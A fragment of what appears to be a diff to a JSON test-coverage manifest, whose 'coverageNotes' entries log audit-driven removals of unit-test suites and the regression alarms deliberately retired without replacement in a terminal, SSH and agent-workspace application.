(Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic main-IPC contract tests cover disconnect-driven close delivery, exactly-once close, per-subscription teardown isolation against a failing socket close and a throwing liveness probe, containment of a throwing renderer send on the unguarded host-close path, and continued suppression of stale payloads from a retired transport. A headed paired-server journey (real Orca host plus a separate paired Orca desktop client) covers hidden-but-mounted reveal, cold-parked reveal, and cold-parked reveal across a disconnect/reconnect. Live Linux and Windows paired-server evidence and real sleep/wake transport loss remain uncollected.",
+      "coverageNotes": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown 